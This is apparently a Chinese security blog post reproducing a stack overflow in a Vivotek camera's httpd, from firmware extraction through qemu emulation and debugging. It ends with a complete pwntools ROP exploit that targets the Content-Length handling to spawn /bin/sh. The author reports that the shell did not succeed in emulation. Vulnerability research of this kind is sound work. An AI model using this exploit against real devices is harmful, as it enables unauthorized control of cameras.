vivotek摄像头溢出漏洞复现
发表于:2023-05-02 |
字数统计: 1.8k | 阅读时长: 7分钟 | 阅读量:

vivotek

这次换个口味,试试arm的摄像头。

固件下载及提取

固件下载

1
2
3
unzip CC8160-VVTK-0100d.flash.zip
binwalk -Me CC8160-VVTK-0100d.flash.pkg
cd _CC8160-VVTK-0100d.flash.pkg.extracted/_31.extracted/_rootfs.img.extracted/squashfs-root

固件仿真

  • 用户模式

已知漏洞存在于httpd中,因此直接运行此程序,发现ld不是arm架构的,因为这是之前复现路由器漏洞时的ld,因此是mips架构的。

image-20230502173851603

由于程序会默认从根目录寻找ld文件,因此我们可以使用下面这个命令改变暂时改变根目录来解决这个问题

1
2
cp /usr/bin/qemu-arm-static ./qemu
sudo chroot . ./qemu ./usr/sbin/httpd

没有/dev/null文件,创建在./dev文件夹下创建null文件

image-20230502174543272

再次运行

image-20230502174900287

根据错误信息定位到该程序具体代码,发现原因是缺少/etc/conf.d/boa/boa.conf文件,但该文件是配置文件,不知道其中的内容,因此利用find $PATH -name boa.conf命令查找到该文件

image-20230502175411882

image-20230502180143432

同时发现./etc/conf.d是指向../mnt/flash/etc/conf.d的文件只需要将boa.conf文件放入指向的文件夹即可。

再次运行,依旧报错,同样的,定位字符串找到报错的语句,查看交差引用,发现并没有谁调用这个函数,坏了,一股不安涌上心头,没事,找找其他人有没有遇到这种问题,嘶~,他们咋都没出现这个问题,又是我的问题?😢

image-20230503150331792

image-20230503150453523

image-20230503150602484

ida提示没有函数调用该函数,根据经验判断可能存在某种虚表,通过偏移进行函数的调用的,因此就从上面的打开boa.conf文件操作后开始寻找这个虚表,寻找过程很枯燥,就是点开每个函数,查看是否有(a1)(argv)类似这样的以变量作为函数的,很快就找到了满足条件的函数,我们查看调用该函数的函数,很快便找到虚表。

image-20230503152610408

image-20230503152838984

image-20230503152815065

根据sub_FFC8()的参数,发现产生错误的原因在boa.conf中,查看该文件中的内容,并根据报错锁定到了下图,文件中提示如果不想打开该文件就设置成/dev/null且不要使用注释

image-20230503153155928

1
2
3
- MimeTypes /etc/conf.d/boa/mime.types
+ MimeTypes /dev/null
+ #/etc/conf.d/boa/mime.types

再次运行,依旧报错

image-20230503153710793

根据报错定位到下图,原因是因为我们的主机名和固件中的主机名不同导致错误其中,gethostname() 是获取进程所在主机的主机名,gethostbyname()是通过域名\主机名获取IP地址

image-20230503154219904

因此,只需将$PATH/etc/hosts中主机名改为自己的主机名即可

image-20230503155313763

再次运行,可以看见执行成功

image-20230503155755974

  • 系统模式

本来准备使用qemu配置真实的环境,但奈何找不到供qemu使用的arm内核镜像,其他人博客里的链接也都失效了,找了一天没找到,放弃,差点就准备自己买个摄像头emmmm

漏洞分析

该漏洞分析较为简单,因strncpy()的第三个参数是我们输入的长度,并且没有对长度进行检查,因此会造成溢出。但仔细一想为啥会这样写,Content-Length:后一般都是数字,而数字一般的长度都很短,本以为后面会有对dest进行处理的函数如,atoi()等,但并没有发现。

image-20230506180344020

虽然说漏洞处的逻辑简单,但确保从_start()执行到该漏洞函数处的过程却是十分复杂的,跟剥洋葱差不多,分析起来也十分的头疼,函数套函数套函数套函数……

漏洞调试

1
2
3
4
#第一个终端中输入
sudo chroot . ./qemu -g 1234 /usr/sbin/httpd
#第二个终端中输入
gdb-multiarch ./usr/sbin/httpd

调试发现程序会执行到exit(),发现该程序需要我们输入参数,必须要包括-d在内,这样dword_31930才会被置为0,才能不执行exit()。

image-20230506185547958

image-20230506185721290

image-20230506185840006

因此,添加参数过后,我们继续调试,当断点下在0x1cd54时,便卡在了continuing这里,从该断点往前读代码寻找问题语句,发现问题出在select(),该函数检查套接字是否已经准备好读/写,因此,我们需要向127.0.0.1:80发送数据。

image-20230506190420771

image-20230506190622347

因此我们另起一个终端输入nc 127.0.0.1 80并且发送数据即可进行后面的调试了。这里便是我们构造的payload的输入点。

漏洞利用

利用cyclic确定偏移,为52

image-20230506191725076

image-20230506191905429

同时,程序开了NX保护,因此不能将shellcode写入栈中。

image-20230506193504309

因此我们利用ROP来执行system函数,首先查看libc中的system函数的源码很好,没有fork(),可以在用户态下执行。

image-20230506193846371

利用延迟绑定获得libc基地址,从libc中获得gadget,同时函数的抵用规则也十分简单,先将pc寄存器push到栈中,返回函数时在pop回来,因此可直接覆盖pc寄存器,其中gadget可以利用ROPgadget --binary ./lib/libc.so.0 --only "pop"获得,同时,因为是strncpy函数造成的溢出,所以地址不能存在\x00.

经调试,程序流执行到了system函数,发现dword_586BC是0,因此不能获得shell

image-20230506220916219

笔者也换了种思路,因为system是调用execve执行的,因此只要将execve的第二个和第三个参数都设为指向0的地址,在调用SVC #0即可,但找了很久没有找到可以改变r2寄存器的gadget,很神奇,其他寄存器都有,就r2没有,当我想看看还有谁调用了execve时,突然看见了如下图的汇编代码,可以通过构造r3来控制r2

image-20230506221711547

但很可惜,构造成功了也还是报错😭

image-20230507154134106

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level='debug'
context.arch='arm'
elf=ELF('./usr/sbin/httpd')
libc=ELF('./lib/libc.so.0')
#io=process(argv=['./qemu','-g','1234','./usr/sbin/httpd','-d'])

libc_base=0x3ff25000
system=libc_base+libc.symbols['system']
binsh=libc_base+next(libc.search(b'/bin/sh'))
execv=libc_base+0x435fc
'''
0x00048784 : pop {r1, pc}
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}
0x323a4->0
0x00048a58 : mov r1, #0 ; pop {r3, r4, r5, r6, r7, r8, sb, pc}
0x00019ab4 : str r6, [r2, r3, lsl #2] ; pop {r4, r5, r6, r7, r8, pc}
0x0000b490 : pop {r3, pc}
0x0000b4c0 : svc #0
0x3ff6860c <execv+16> ldr r2, [r3]
► 0x3ff68610 <execv+20> b #execve

0x3ff784ac —▸ 0x40400b0a ◂— 0
'''
payload=b'POST Content-Length:'
#payload+='aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'

#way1 system('/bin/sh')
#payload+=b'a'*52+p32(0x48784+libc_base)+p32(binsh)+p32(0x16aa4+libc_base)+b'a'*8+p32(system)

#way2 execve('/bin/sh',0,0)
payload+=b'a'*52+p32(0x48784+libc_base)+p32(binsh)+p32(0x16aa4+libc_base)+b'a'*8+p32(0x48a58+libc_base)+p32(0x3ff781a0)*7+p32(0x4360c+libc_base)
payload+=b'\nupgrade.cgi\r\n\r\n'
#io.interactive()
#raw_input()
p=remote('127.0.0.1',80)
p.send(payload)
p.interactive()

不过system函数没有执行成功的原因因该和mips架构时的原因差不多,需要启动qemu系统模式才能执行。

上一篇:
VxWorks固件解包
下一篇:
D-Link-DIR-645溢出漏洞复现